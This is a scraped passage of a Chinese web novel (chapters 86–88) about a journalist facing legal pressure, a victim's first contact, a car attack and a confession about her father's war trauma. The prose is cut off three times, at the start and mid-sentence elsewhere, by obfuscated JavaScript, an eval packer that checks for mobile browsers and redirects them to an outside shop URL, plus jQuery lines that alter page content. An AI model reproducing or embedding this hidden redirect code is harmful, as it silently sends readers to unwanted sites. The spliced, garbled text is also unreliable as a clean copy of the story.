l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133264|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叙闻盯着这几句话看了十几秒,愣是没明白她的意思。 愣神的功夫,又跳出来新消息。 布偶与小金毛:你电话多少? 就这样,两个曾经不共戴天的仇敌,在这个微妙的时间点上,通上了电话。 布偶还是一把夹子音,不知道是故意的,还是夹太久改不过来了:“长文我截图了,录音也存了,还差一个视频,你速度。” 黎叙闻很莫名,还是先发了视频,才问:“你为什么要来蹚浑水?” 布偶那边在哒哒哒的鼠标声里笑了:“你觉得我就应该是个混蛋,是吧?” 黎叙闻:“……还真是。” “黎叙闻!”布偶怒吼一声,深呼吸了两次,才又道:“我只是觉得,我不是她们中的一员,只是因为运气好,但人是不可能一辈子都运气好的。” 她冷笑:“比如遇到你,就是我倒了八辈子血霉。姐姐全平台粉丝过千万,让你蹭你就烧高香吧你。” 黎叙闻失笑:“行,知道了,谢谢手下败将。” “瞧你那人厌狗嫌的网感,还说我手下败将?”布偶底气超足:“视频那标题取的,狗见了都摇头。行了大废物,你还欠我一个手机,记得赔我!” 说完立刻挂了电话,连反驳的机会都不给人留。 黎叙闻苦笑着摇了摇头。 虽然被骂得很难听,心里也还是不可抑制地温暖起来。 某种程度上,无论经历和立场,她,她们,全都是不可分割的一体,所以一荣俱荣,一损俱损。 齐寻的电话就在这种温暖里蓦地进来,把暖洋洋变成了心虚的手忙脚乱。 她第一反应是挂掉,手指条件反射地放在红色按钮上,却又想起他那天在隔音室里难忍的追问,又将指尖收了回来,起身跑去了楼梯间。 电话接起的一瞬间,齐寻低沉但焦急的声音便穿透楼梯间窒闷的空气,直接敲在她鼓膜上:“闻闻?还好吗?” 黎叙闻眼眶一紧,鼻尖蓦地酸了一瞬,嘴上却还要装傻:“嗯?怎么?” 齐寻:“……看你发那样的微博,有点担心你。” 黎叙闻捂住话筒,使劲抽了下鼻子,才说:“正常操作,有什么好担心的?” 齐寻哦了声,不说话了。 他本来也以为是正常操作,还觉得很骄傲,觉得把什么东西交到她手里,都能发挥出最大的效用。 直到刚刚马颂今给他打电话,言简意赅却细节丰富地,告诉了他上午的事。 齐寻听得心都碎了。 他抛下正开进度会的导演,火急火燎地打电话来问,结果不出所料,又是这样。 她能哭着问马颂今她是不是就不该当记者,对着他,却依然三缄其口,云淡风轻。 他举着手机,坐在隔音室里,低头无声地笑了下。 挺好。 “那就行,”再开口他声音淡了许多:“注意休息。” 挂电话前,他听到对面忽然一声:“齐寻?” “嗯?” 那边停了停,才问:“如果,我是说如果,到最后受害者也没有出现,怎么办?” 她声音里充斥着刻意为之的“随便问问”,但她的焦虑早就在细微起伏的呼吸中,把她出卖干净。 齐寻沉默着听了一阵,才慢慢道:“我以前……听过一个故事,有个人因为事故被埋在地下,周围一个人都没有,他没有食物,也没有水,一边觉得自己大概只能等死了,一边又不甘心,所以一直告诉自己,一定会有人来救他。第一天,没有人来,第二天也没有,直到第三天,他马上就要渴死的时候,他听见外面有人在敲石头。” “然后呢?” “然后他被发现了,在石缝里喝到了水,虽然艰难,但还是活了下来,跟救他的人一直在一起。” 黎叙闻笑了一声:“……真是个很好的结局。” “是啊,”齐寻道:“所以你也一样,要相信相信的力量。” 黎叙闻在他看不见的地方,轻轻点了点头。 “好。” 86. 第 86 章 昨天已经断流的流量,被布偶用转发视频后附上的一句话,又激起了千层浪:“想不到纸媒里面还有根这样的硬骨头。” 之前龙腾水灾时,两人掀起的“自媒体VS传统媒体”的风波刚平息了不到两个月,互联网金鱼般的记忆也还没有完全消失,她这么一搞,大家又记起了那时候的盛况,两相叠加,热度终于从岌岌可危的边缘回暖,连带着公众对黎叙闻本人的支持也高了不少,甚至还有人顺道嗑起了她俩的CP。 蔡道全针对她的手段远不止此,可哭过也崩溃过的黎叙闻,已经不再害怕了。 当天下午,商报法务约谈黎叙闻,告知她蔡道全那边已经联合几家企业一同对商报施压,这件事如果继续发酵下去,商报会追究她的法律责任。 法务总监四十多了,话术非常老练:“黎记者,商报是商报,不是你的私人账号,希望你认清楚自己的位置。如果再不删帖,就算你有总编的担保,我们也不保证你还能留下。” “我认为没有能力保护记者的媒体,就没有资格报道真相,”黎叙闻坐在小会议室里,迎着法务总监的凝视,平静道:“如果商报打算转型娱乐狗仔,应该尽早发声明广而告之,而不是在记者面对外部施压的时候,迫不及待来踩上一脚。” 放了狠话没过多久,黎叙闻就发现,她的账号被禁言了。 社交平台是她对外重要的喊话窗口,这一手,无异于釜底抽薪。 正当她联系其他媒体,想看看有没有人有兴趣合作推进的时候,一封没头没尾的匿名邮件,静静地躺在了她的邮箱里。 “你知道发高烧的时候被灌安眠药,是什么感觉吗?” 没有落款,没有前因后果,仅仅这么一句突兀的话,蹦跳进她的视线。 黎叙闻猛地睁大了眼睛。 是她!是那个被虚构受害者的无心错误挑起了敌意,在直播间里追着骂的那个人! 是真正的受害者。 黎叙闻双手无意识地握住拳,这一瞬间,所有的压力、制裁、孤立,都瞬间成了墙上的拼贴画,再伤害不了她分毫。 她盯着屏幕,呼吸急促,放在键盘上的手都在抖。 她应该怎么回,怎么既能套出对方的身份,又让她知道,她是现在复杂局面里最最重要的一环? 最重要的是,让她愿意把对话持续下去,而不是感受到危险和紧张,受惊逃走。 纷乱的思绪在头脑中接连飞驰而过,黎叙闻渐渐冷静下来,到最后,只剩下了一个念头。 如果她是受害者,她现在最想听到的,是什么? ——如果她是受害者,她最需要知道的,不是她手里掌握着真相,也不是她是唯一能扳倒蔡道全的人。 她最需要知道的,是这个世界上有一个人,愿意听她的经历和伤痛、愿意看见她的挣扎,在她交托出自己最大的秘密之后,依然愿意站在她的身边。 思来想去,黎叙闻只回复了一句话: “我想知道,你可以告诉我吗?” 这句话像一颗火种,一落地便迅速点燃了对面干枯了许多年的倾诉欲,她很快发来了一封长长的、前言不搭后语的邮件,里面字字句句都在诉说她当年是怎么被折磨得奄奄一息,又是怎么拼了命逃出来,过了好多年深居简出的生活。 洋洋洒洒写了很多字,充斥着跟社会脱节多年的表达错乱感,但这么多内容里,却对她自己、她的伙伴,全部只字不提。 谨慎已经作为一种本能,深深刻进了她的身体里。 冷静,黎叙闻不停地提醒自己,一定要冷静,慢慢来,要像靠近一只小鸟一样,轻声细语、小心翼翼地跟她交谈,并且不能让她发现,自己有多急切,目的有多明确。 聊到最后,对面总算告诉她,自己叫“青苹”。 一看就是个跟本名八竿子打不着的网名,但没有关系,只要她开始松口,往后的对话,就好聊多了。 这肯定是场持久战。 聊了几个来回,对方渐渐放下了防备,但仍不同意见面谈。 黎叙闻无奈,只能对她提了个要求:“我们需要告诉大众,有真正的受害者出现了,你不用对号入座。如果太久没有进展,公众很快就会忘记这件事,那咱们的努力,也就不作数了。” 她知道这话说出来,多少有些冒险,对面一听,说不定跑得比兔子还快。 但如果不打招呼就爆出来,关系百分百会破裂。 邮件发出去后,过了很久,黎叙闻都没有收到回音。 这沉默的十几分钟简直比当年等录取结果还紧张难捱,她站起来又坐下,坐下又站起来,惹得身边同事侧目:“压力太大,吃多了?” 黎叙闻苦笑着正要答,清脆的提示音蓦地响起,她几乎扑到了屏幕前。 青苹的回音言简意赅:“可以。” …… 靳言很快从黎叙闻这里得到了消息,立刻在自己的账号发了微博,告诉所有人,受害者已经出现,她们已在着手整理证据,不日将正式请警方介入,并公布进展。 这条微博一出,那些“再飞一会儿”的子弹,终于飞到了头。 大规模的删帖和封号再也压不住公众的关注,之前发过声明的所有公司都一齐被网友大起底,“通天查”官方账号更是直接披露了“还有明天”基金会和英利达人力公司的暗箱关系。 原本犹抱琵琶半遮面的罪魁祸首,此刻终于渐渐浮出水面。 这场轩然大波,不仅仅扬起在公共海域,那个阴暗角落里的小池塘,也照样翻起了巨浪。 大红:出事了! 大红:怎么办,我们该怎么办? 橙光:早知道这样,我们当时还不如信那个记者…… 蓝紫:别马后炮了,谁知道她还真有点本事,我看要怪就怪青苹,肯定是她,都是她!@橙光你们不是一直关系好,是她没跟你说,还是你故意的? 橙光:那天不是你们把她骂退群的吗?说到底还不是怪你们?她凭什么事事给我报备,我看你们是疯了吧? 阿绿:好了,大家都别急,别吵架 大红:不仗义,真的不仗义,她一个人出头了,我们咋办? 橙光:跟我们有什么关系? 大红:你是不是傻?现在她自己把事情爆出来,所有关注都在她一个人身上,她当然安全了,那我们呢?姓蔡的搞不了她,还搞不了我们? 阿绿:大红说得对,现在谁在亮处,谁就通吃,我们被她扔下了,就只有东躲西藏,小心别死在阴沟里 蓝绿:完了,真的完了……那你们说我们该咋办,只要能活,我什么都愿意干…… 阿绿:别急,现在咱们唯一的出路,就是一起站出来,说我们也是受害者。咱们也有证据呀,只要我们说的话能让他们相信,就绝对没问题! 大红:阿绿是对的……我们真的只剩这一条路了…… 阿绿:但咱们也得想好,我建议咱们在举报之前,出来见一面,当面整理一下,看看要怎么说 橙光:……没必要吧,这么多年了都没见过,到这会儿了,见面有什么用?又不是要说谎对词…… 蓝紫:你不爱来就别来,我觉得很有必要,现在人都被骗怕了,不好好说道说道,我觉得成不了 阿绿:好,那咱们就约个地方 阿绿:最后一回了,姐妹们,这次之后,咱们就再也不用害怕了 …… 这一仗打得如火如荼,暴风中心的黎叙闻却难得因为私事,请了两个小时的假。 因为今天日子特殊——在经过一段时间的权衡和沟通后,民政局决定安排珍妮去京屿周边的某个小城上学,而书影作为寄养监护人,陪同她一起去念书。 今天就是她们离开的日子。 齐寻早在楼下等她,她上车第一句话,便问他:“这个节骨眼上突然要走,真的合适?” “我跟民政局沟通过了,他们今天派专车接送,那边是寄宿学校,暂时也让书影借住,蔡道全能量再大,不至于直接跟政府硬碰。”齐寻叠起两指弹了下她额头:“不该操的心就别操了,够累的了。” 黎叙闻捂住额头控诉他:“……烦人!” 低下头,又偷偷扬起唇角。 时间尚早,京屿动辄堵车的道路竟一路通畅。到暂时安置她们的福利中心时,社工还在帮珍妮收拾上学需要的材料和证件,而珍妮正翻着崭新的课本,眉头扭成一小团。 书影也看不明白,只能安慰:“慢慢学,也不指望你读博士……” 珍妮听见门口的动静,抬头一眼,立刻展颜笑起来:“闻姐!” 冲到门口就是一个熊抱。 黎叙闻笑着伸手接住她:“幸亏姐姐练过,不然要被你扑倒。”说着拿出送她的新平板:“喏,只许学习用,不许玩游戏,知道吗?” 珍妮拉着她,兴奋地拉着她玩平板,书影含笑看着两人,对齐寻道:“闻闻蛮会教孩子。” 齐寻盯着黎叙闻难得放松的笑颜看了一阵子,道:“虽然已经说了很多遍,但我还是想再提醒你一遍,蔡道全一天不进去,你们就一天不能掉以轻心。” “我明白,”书影点点头:“小齐啊,你帮了这么多,我们没什么能谢你的……” “不必,”齐寻有些许不自然:“好好过日子,会很难,但不至于没路走。” 书影便不再说了,半晌,才道:“我没正经结过婚,可也算见过一些人。你跟闻闻,都是难得的好人,但好人跟好人,在一起才更难。” “你眼里容不得沙子,她也是。”她半低着头,看自己身上穿的衣服,那是闻闻给她买的:“她喜欢你,但她心思太重了。你是男人,你得多担待。” 齐寻:“当然,我会照顾她……” “照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137814|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够,”书影笑着摇头:“你得信她、懂她,最重要的,是要等她。” 齐寻听着,没说话。 他当然在等,一直在等,等到连自己都快忘了等待的意义。 “齐寻,”黎叙闻突然远远叫他:“你来看呀这个神庙逃亡怎么换版本了!” 齐寻:“……” 刚是谁教育孩子不许玩游戏的来着? …… 等她们准备好、福利院的车到门口,天早已擦黑了。 工作人员给她们登记、拍照后,对一脸惴惴不安的黎叙闻道:“放心,我们在公安那边也有备案的,哪怕出一点事,立刻会有人介入。”说着拍拍珍妮:“跟姐姐说再见。” 黎叙闻对她挥手作别:“珍妮,再——” 话都没说完,珍妮看了她一眼,转身就上车了。 黎叙闻挥了一半的手尴尬地改成了摸鼻子:“哈,哈哈,死孩子……” 书影红着眼睛,把她拉到一边:“闻闻,我还有件事,想跟你商量商量。” 黎叙闻莫名:“我在这呆了两个小时你不问,专等临走这几分钟问呐?” 但她听完,就明白书影为什么开不了口了。 书影知道她是记者,等事情结束,她总要写一篇详实的报道,给公众一个交代,可详实是不是就意味着,连同书影做过的那些事,也要一并写进报道里去? 书影自己是没什么所谓,可珍妮还要上学,以后还要找工作,这些事情会不会像当年她的传言追上她女儿一样,再次追上珍妮? 但黎叙闻是记者,她哪有脸让这么优秀的记者包庇自己,替自己撒谎? “我不是要逃避责任,主要是珍妮,”书影一双满是茧子的手,搓出细微的声响:“但我也不想你替我撒谎,这……” 黎叙闻沉吟片刻,忽然狡黠地冲她眨眨眼:“你放心,我既不会包庇你,也不会让你被戳脊梁骨。你安心陪珍妮去上学,我自有安排。” 这时候珍妮忽然从车上冲下来,撇着嘴一把抱住她。 黎叙闻没有防备,被撞得退了两步,感觉颈窝里一片温热,自己鼻子也酸了:“……我们珍妮,以后要好好读书,要做很多自己想做的事,去很多想去的地方。” 珍妮带着鼻音蹭她侧颈:“闻姐,我已经想好要改什么名字了。” “改成什么?” “保密,”她轻轻在她耳边道:“等我给你寄裙子的时候,你就知道了。” 工作人员再次催促,书影和珍妮不舍地上车,车发动后走出去好远,黎叙闻忽然收到一条珍妮的微信。 珍妮:我以后也想做记者! 黎叙闻看着这条消息轻轻笑出声来,似乎看到有什么珍贵的东西,从她手里,交到了珍妮手上。 她用胳膊肘碰了碰齐寻:“你说等她上完学,商报还在吗?” 别说商报,纸媒还在不在,都是个值得商榷的问题。 “在不在都无所谓,”齐寻垂着眼睛看她睫根莹亮的水色:“管它是商报还是电视台,或者是自媒体,世界上总会有跟你一样的人。” 他伸手握住她微凉的手腕,冷笑了声:“商报没就没了吧,反正也不是什么好东西。” 黎叙闻前一秒还在感动,后一秒就无名火起,上车系了安全带还在质问:“我们商报怎么了?怎么了?虽然它胆小怕事,可它小心谨慎啊!虽然它官僚主义,可它维护传统啊!虽然……” 她被齐寻伸手捏住了两颊,变成了一只噘嘴小河豚。 虽然不出来了。 “行了黎记者,知道你是商报的兵,”齐寻失笑了一瞬,默了默,又道:“这些天……辛苦了,也受委屈了。” 黎叙闻怔了下,想问他怎么知道,可转念一想,这不是此地无银三百两么。 在老马面前丢人没什么,当了快三年记者,她什么丢人的样子老马没见过。 但在齐寻面前不行。 甚至不像刚加入救援队、吊着滑索在半空中痛骂他的那种坦然,现在的她,好像不想让他看到一丁点不那么体面的模样。 大概因为觉得欠他良多,再让他安慰、让他包容,就太没道理,也太得寸进尺了。 于是她轻声嘟囔了句“哪有,别瞎说”,便扭头去看窗外倒退的风景,没有看见后视镜里,齐寻晦暗的眼神。 欲盖弥彰的沉默像水一样在车内流动,牧马人行至一个空旷的十字路口,信号灯闪了闪,由黄转红。 齐寻缓缓停下,声音干涩道:“闻闻……” 黎叙闻手搭在座椅一侧,随着这一声,指尖在冷硬的皮革表面收紧。 忽然,一道雪亮远光从副驾那一侧直射到车窗,掠过黎叙闻侧脸。 下一刻引擎声爆裂响起,一辆皮卡从垂直方向直逼他们侧翼而来! 齐寻猛地偏头,瞳孔瞬间在强光中缩紧:“小心!” 87. 第 87 章 黎叙闻懵然回头,尚未看清状况,上身便被齐寻一把按下。 下一秒,引擎嘶吼,牧马人遽然蹿出,轮胎在路面上擦出尖锐的刺响。 齐寻咒骂一声,狠踩油门,将方向盘猛地向右打死。 车尾灯堪堪擦过皮卡的保险杠,右侧车身剧烈侧倾,悬停一瞬,而后哐然落地。 皮卡一击不成,径直撞向空无一人的侧道护栏,钢铁折裂声几乎震耳欲聋。 黎叙闻被齐寻死死按在怀里,一只手紧护着她的耳朵。 她听见突然爆裂出一声涩耳的金属碎裂声,挣扎着问:“……怎么?” “没事,”耳边的手轻拍她的耳廓:“起来,抓紧。” 黎叙闻迅速坐起,从后视镜里一看,那辆皮卡正强行倒车,拖着一段破碎弯折的护栏,车头一甩,调转方向,再度猛追而来。 黎叙闻心脏陡然一缩——这分明是冲着要她的命来的! 齐寻扫了一眼后视镜,语气冷淡:“下作。” 引擎的低鸣声蓦地拔高! 车速骤然飙升,黎叙闻感觉身体沉滞地一顿,后背猛地贴上座椅。 道路两侧的限速牌和绿化带飞速倒退,夜色中的车流变成一条条模糊的光带。皮卡的刺目远光在顶镜中寸寸逼近,金属杆在柏油路上拖拽的噪声简直直接剐蹭在耳边。 黎叙闻全身紧绷,双手抓住车顶扶手,声线压得极紧:“它想干什么?” “跑不过我们,所以想撞车尾让我们失控。”齐寻面色冷硬:“坐好。” 测距警报骤然在车内尖锐地爆开——皮卡撞上来了! 几乎同一时间,齐寻猛地一摆车尾,横甩开即将咬上来的尾巴,皮卡由于惯性猛地前窜,车灯在黑暗中炸开一道白光。 它险险制住笨重的车身,继而响起刺耳的鸣笛。 前方,高速辅道入口处,暗红汽车尾灯连城一线,像一条游动的安全警戒。 只要上了高速,它就再无计可施! 齐寻喉头一滚,视线紧缩反光指示牌,脚下陡然加力。 引擎尖啸,轮胎摩擦出焦灼的气味,中控台闪烁着轮胎过热警告,齐寻却连看都没看,双手死握方向盘,在高速入口前一把方向,车头精准挤入辅道排队的车流! 黎叙闻顶着晕眩,勉强向后看去—— 皮卡远光陡然熄灭,在夜色中被远远抛在身后,而后悄无声息消失了。 …… 保险起见,牧马人在高速上疾驰了三个出口,才车头一摆,从辅道下了高速。 黎叙闻心跳如雷,慢半拍地后怕起来,攥着车顶扶手的掌心全是潮热的汗。 车停稳的一刹那,齐寻立刻倾身过来,扳过她的脸:“受伤了吗?哪里疼?” 她额头处有一小块淤青,大概是一开始被按倒时撞上他的肩膀所致,她自己浑然不觉,反而也急切地问:“你呢,刚刚被撞那一下子,你没事吗?” 齐寻几乎无声地吸气,肋下果然一片钝痛。 他摇头:“嗯,没事。” 黎叙闻抬手按开顶灯,仔仔细细地检查了一遍他的脸和手臂,终于颤抖着松了口气:“……还好。” 齐寻心下柔软,轻笑了声:“救援时候受伤也是常事,没那么娇气。” “不,不一样,”黎叙闻偏头看他,眼底还有生理性泪水:“以前是以前,现在……” 齐寻一瞬不瞬地盯着她,却迟迟没有等来她后半句解释。 软成泉水的一颗心在她微微挑着的眉眼里,渐渐凝成了冷硬的冰。 又是这样,真没完了。 “现在?所以这次又是什么?”他倾身过来盯着她,唇角翘着,眼底却一片凉:“是‘我的事不用你插手’?还是‘我是记者你不是,所以不能让你跟着我冒险’?” 他眯了眯眼,在滴答作响的双闪中,神色近乎危险:“哦,我忘了,还有‘我没事,不用你管’?” 车内空气寂静,齐寻将两人的距离压到极致,压得氧气都陡然稀薄起来。 有些话如果问出口,或许就代表着关系的结束,可如果不问,他大概不会甘心放手。 “失去”本身,不会因为他的犹豫,就对他仁慈分毫。 “有个问题我一直没问你,”齐寻眉心细细地抖了下,顿了顿,下定极大的决心似地:“在柳北那天晚上,我扔掉匕首假装投降,我听见你叫我了——那时候你根本没信我,是不是?” 黎叙闻手指抠紧坐包,脊背僵直,侧枕一片钝痛:“不,不是的……” “那是什么?”齐寻不着痕迹按住肋下,眼神冰冷:“你说,我听着。” 是什么,到底是什么呢。 刚才她从他怀里抬起头,模糊地看到后面有人追车的时候,那个瞬间,她想到的是什么? 黎叙闻恍惚地盯着齐寻紧绷而锋利的轮廓,无声地吞咽了一次。 那个瞬间,她在想,那辆车会从哪边撞上来。 如果是从副驾这边,她出师未捷身先死,那她大概会很遗憾。 如果是从另一边呢? 牧马人的半边车身轰然落地的时候,她身体巨震,耳边轰鸣,内脏几乎全体错位,可头脑却是前所未有的清醒—— 她接受不了。 这跟一开始的“我是记者,你不是,所以我不能把你卷进来”,和后来的“你付出的够多了,我不能得寸进尺”都不同,她的“接受不了”,明明白白、清清楚楚地,指向某个具体的人。 除了揭露黑暗的调查记者,她还想成为什么人? 她想成为齐寻的爱人。 原来她已经深陷到了这个地步。 ……在跟他解释清楚一切、让他做出选择之前。 如此清晰的认知让她如同站在惊雷中一样怔愣,她甚至忘记了齐寻正在跟她发火,正在逼问她真实的想法。 “还是别狡辩了,”他低落地笑了声,慢慢靠回驾驶座:“我希望你还记得在隔音室里你答应过我什么。” 齐寻放下手刹,声音低哑,明明已经决定好了是最后通牒,可一开口,还是没舍得把话说死:“如果我的期待很多余,提前告诉我,我就不等了。” 双闪平稳规律的声响戛然而止,车身缓缓而动。 在汽车近乎疲惫的行进声里,黎叙闻听见自己比刚刚追车时还要喧嚣的心跳。 “先不回家了,”她握住齐寻的手腕,手和声音都在抖,为自己做出的决定而战栗:“我带你去个地方。” 九月初的夜晚已有阵阵无法忽视的凉意,而这种凉意,在地处城市边缘的疗养院附近,又附上了一层荒凉。 直到导航结束,黎叙闻都没有一句解释,等车稳稳停在疗养院入口,她丢下一句“跟我来”,便头也不回地下了车。 齐寻满腹疑问,四下打量疗养院宽敞到几乎空旷的花园,又抬头看五六层高的病栋,只觉得里面参差不齐亮着的灯珠,像某个正在审视他的怪物的眼睛。 花园和接待大厅都空荡荡的,只有零星的医护偶尔路过,可某些奇怪的、突兀的喊叫声和哭声,还是透过病房只能开一指宽的窗户,悄悄流淌出来。 探视时间显然已经过了,齐寻站在门口,看着黎叙闻跟前台接待护士说了两句,护士笑着对她点了点头。 她们似乎很相熟。 她经常来这里么?这里住着的,是她什么人? 齐寻想着这些,一口气蓦地吸岔,肋下那块伤处又被惊扰,而他顺着这种钝痛,忽然紧张起来。 他有了一个不太好的猜想。 黎叙闻扭头看他,表情有种故作正常的僵硬:“过来啊,等什么呢?” 这让齐寻想起琳琳的母亲,那个女人脸上也曾经出现过这种表情,好像非常为难、非常恐惧,但又不得不逼迫自己,把一些难以面对的事情,对别人和盘托出。 在意识到这就是她的谜底的那一秒,心疼就比释然先到了。 “闻闻,”齐寻两步跟上,揽住她肩膀:“今天晚了,我们……” 黎叙闻反握住他的手,指尖冰凉,却坚定异常:“不,你跟我来。” 齐寻拗不过她,只能亦步亦趋跟着她上楼,路过一间间紧闭的加固房门,对所有开着的小窗视若无睹。 上楼之后,黎叙闻脚步反而轻盈起来,轻车熟路拿护士给的钥匙,打开了其中的一间病房。 一个身影瘦削、体态略有佝偻的老叟,努力地挺直自己的脊背,对着病房冷白色灯光打在窗户上的倒影,严肃道:“我们强烈谴责叛军武装分子对平民的戕害,呼吁国际社会排除障碍,尽早干预!” 他声音依然悦耳,甚至称得上浑厚,咬字清晰、发音标准,让齐寻有一种自己真的在看战地新闻的错觉。 黎叙闻跟他一起,倚着门看了一会儿,放轻脚步走过去,柔声道:“今天这是第几条了?” 老叟回头看到她,笑逐颜开:“我就说今天后勤官怎么不放饭,你来晚啦。” 他回头的一瞬间,齐寻看到了他跟黎叙闻别无二致的、标致中透着英气的眉眼。 他彻底呆住了。 黎叙闻回过身,脸上带着他从来没见过的温柔的神情,对他道:“我爸爸,你的那个假岳父,黎策。” 齐寻悬在胸口的一口气终于泄了,却又憋得喘不过气来。 原来这就是她的答案。 他立刻过去,手足无措地对黎策鞠了一躬,摸遍全身也没摸出一支烟来,只能对黎策道:“叔叔你好……” 黎策莫名地看他一眼,上下打量他一回,忽然靠近他,悄声问:“你多大了?家里做什么的?哪里人呐? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143709|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”说着他用手挡着嘴,道:“我有个女儿,很漂亮很优秀,你们年轻人,要不要见个面,交个朋友?” 齐寻深吸一口气,正要答,却听黎叙闻笑着问:“黎记者,你女儿多大了?” 黎策笑眯眯的:“我女儿十六啦,”说完自己又愣了:“嘶,不对啊,她才十六,谈什么恋爱!不行!不许!” 说到最后给自己气得脸红脖子粗,简直要把齐寻打出去。 黎叙闻苦笑着冲齐寻道:“杵着干什么?来帮忙!” 齐寻怔然地上前,把黎策按在床上,看着黎叙闻给他灌了药,灌得两个人都一身的水。 药效立竿见影,黎策很快安静下来,沉沉睡去了。 黎叙闻坐在床边,直到听着他的呼吸渐渐平稳,才伸手握住他的手,慢慢道:“我爸原来是总台记者,九年前贝达桑内战的时候,他做过战地记者,驻前线报道战况。” 她声音沉缓,似是在给入睡的父亲,讲述一个温柔的睡前故事:“当时战况激烈,叛军优势巨大,因为他们根本不管杀的人到底是政府军还是平民。联合国早就知道那里发生了暴力事件,但始终没有采取直接行动。因为他们需要的不只是传闻和推测,而是确凿无误的证据。我爸他们当时就在前线,他们通过线人,掌握了一批珍贵的资料,其中就包括当时当地的照片和录音、亲历者口述,还有四百名平民藏身的具体方位,只要这些资料能在联合国曝光,几乎可以肯定,国际社会一定会介入,战争会结束,所有人都能得救了。” 齐寻闭上眼睛,甚至不忍往下听。 可黎叙闻却异常平静,好像她已经反复讲过这个故事许多许多遍。 “我爸爸跟他的搭档跟当地信使约好时间,打算把资料交给他,让他送出去。” “这一切原本都是万无一失的,直到约定的那一天,对道路熟悉、原本该去交资料的搭档,忽然得了疟疾。我爸为了不错过信使,决定自己去找信使——对了,这个搭档,就是我们总编,马颂今。” 她说到这里,忽然停下了。 齐寻直觉还有后续,便在疗养院深沉的寂静里问:“然后呢?” “然后,资料就丢了。”黎叙闻苦笑了下:“我爸没有见到信使,那些许多人冒着生命危险传到他们手中、指望他们用它救命的资料,不见了。” 齐寻被这个展开砸得一懵:“不见了?” “对,没有人知道发生了什么,结果就是那四百人全部死亡,如果资料顺利送出,他们本该全部得救的。” 黎策沉睡的均匀呼吸在这个间歇沉沉响起,像一道命运般的箴言。 “讽刺的是,他们死亡的消息反而成了叛军暴行的铁证,命案发生几天后,各国先后宣布派兵介入,过了两周,贝达桑内战就结束了。” 最后一个尾音落地,黎叙闻深深地呼了口气,像是又在虚空中,经历了一遍这所有。 齐寻默然地看她的眼睛。 从跟着她上楼的那一刻,齐寻就决定,无论听到什么,他都要足够镇定,安慰她、保护她,让她不再纠结害怕。 可等他真正听完,却发现,他本来想好要做的一切,都太过渺小,也太过肤浅。 他扣住她的十指,竟一句话都说不出来。 “你知道,我这个人一般不信命,但这件事让我觉得,也许一切就是冥冥之中注定了的。”黎叙闻望着黎策熟睡中紧皱的眉头:“也许我爸他就是注定要入这个局,注定要成为里面的一环,然后,注定这样陷在那个不可解的局中,陷一辈子。” “回来之后,他开始不出书房,不吃饭,不理人,我妈妈劝他、骂他,他都毫无反应,到最后慢慢地,他不记得我们了。” 没有人能背着四百条人命过一辈子,所以他提前结束了自己的人生。 “你看看他,”黎叙闻凝视病床上沉睡的黎策:“他记得他有一个女儿,但那个女儿不是我。他爱他的女儿,可他不爱我。” 她慢慢地笑了:“做他的家人,真的,真的特别痛苦。” 她终于抬头,把自己从回忆里拔出,望向齐寻的脸:“你说你可以等,但你知道你等的是什么吗?” “我完美遗传了他很多东西——要强、敏锐、对新闻的热爱,当然,还有PTSD易感体质。”黎叙闻平静的眼底,有很细微的波澜:“而他留下的罪过,注定只有我去赎。我做调查记者,是为了向老马证明我什么都能够胜任,是为了让他推荐我进总台,去做战地记者,战场是不会优待任何人的,齐寻,我的终点,跟我爸爸一样,谁也不记得,什么都不重要,只陷进自己的回忆里。” 她深深望进他的眼睛:“你在等的,就是跟我现在一样痛苦的结局。” “这就是你要的真相,”她说:“现在,换你告诉我,你要为它付出什么样的代价?” 88. 第 88 章 “我 All 齐寻在自己喉头泛起的铁腥味中,终于明白了她的用意。 她不辞辛苦,把他带到这里,撕开自己愈合多年的创口,给他看这样血淋淋的事实,就是为了让他明白,选择她就是选择这样一条痛苦的道路。 这种痛苦无法可解,连父女之爱都束手无策,只能眼睁睁看着他,慢慢地坠进只属于他的深渊。 她一定是受够了这种有名无实的爱,所以她不希望他付出所有之后,得到的是这样一个结局。 一种尖锐的痛楚从齐寻心底骤然涌出,猝不及防淹没了他所有言语和表情,跟着体内奔涌的血液,割遍全身,最后又刀子一样回流到心脏。 黎叙闻在窒息的沉默中垂下眼睛,看着他无意识战栗的指尖,倏而释然地笑了。 跟她想象的一样,举凡听过这件事、知道她身世的人,都默契地闭口不再提。想来对普通人来讲,既没有能承担这种沉重的能力,也没有非要拉住她的义务。 这样也好,这样起码……他们之中有一个人能幸福。 把选择权交给他,这不就是她想要的结局吗? 至于其他…… “你还没有回答我的问题。” 这一声陡然撞破她坠落的心湖。 齐寻重新握住她的手,扣紧手指:“在柳北的那天晚上,你为什么没有信我?” 黎叙闻苦笑:“你是不是没有听到……” “回答我。” “……因为那是我们第一次直面那样的危险,我担心你会后悔。就像你之前并不知道跟我在一起会面对什么。”黎叙闻无奈道:“凭一腔真心热忱当然爱得热烈,但如果你得知了真相呢?” 人在得知真相的代价后,还会心甘情愿地追寻吗? 